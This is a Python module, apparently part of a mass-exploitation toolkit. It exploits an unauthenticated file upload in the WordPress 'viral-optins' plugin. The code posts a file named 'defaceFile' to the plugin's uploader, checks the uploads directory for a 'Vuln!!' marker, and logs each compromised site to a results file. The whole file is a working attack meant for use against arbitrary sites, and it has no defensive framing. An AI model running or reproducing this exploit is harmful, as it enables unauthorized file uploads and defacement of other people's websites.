# coding=utf-8
import requests, time, re
from Exploits import printModule

r = '\033[31m'
g = '\033[32m'
y = '\033[33m'
b = '\033[34m'
m = '\033[35m'
c = '\033[36m'
w = '\033[37m'
Headers = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0'}
year = time.strftime("%y")
month = time.strftime("%m")

def Exploit(site):
    try:
        defaceFile = {
            'Filedata': ('vuln.txt', open('files/vuln.txt', 'rb'), 'text/html')
        }
        x = requests.post('http://' + site + '/wp-content/plugins/viral-optins/api/uploader/file-uploader.php',
                          files=defaceFile, timeout=5, headers=Headers)
        if 'id="wpvimgres"' in x.content:
            uploader = site + '/wp-content/uploads/20' + year + '/' + month + '/vuln.txt'
            GoT = requests.get('http://' + uploader, timeout=5, headers=Headers)
            find = re.findall('<img src="http://(.*)" height="', x.content)
            GoT2 = requests.get('http://' + find[0], timeout=5, headers=Headers)
            if 'Vuln!!' in GoT.content:
                with open('result/Index_results.txt', 'a') as writer:
                    writer.write(site + '/wp-content/uploads/20' + year + '/' + month + '/vuln.txt' + '\n')
                return printModule.returnYes(site, 'N/A', 'Viral-options', 'Wordpress')
            elif 'Vuln!!' in GoT2.content:
                with open('result/Index_results.txt', 'a') as writer:
                    writer.write(site + find[0] + '\n')
                return printModule.returnYes(site, 'N/A', 'Viral-options', 'Wordpress')
            else:
                return printModule.returnNo(site, 'N/A', 'Viral-options', 'Wordpress')
        else:
            return printModule.returnNo(site, 'N/A', 'Viral-options', 'Wordpress')
    except:
        return printModule.returnNo(site, 'N/A', 'Viral-options', 'Wordpress')
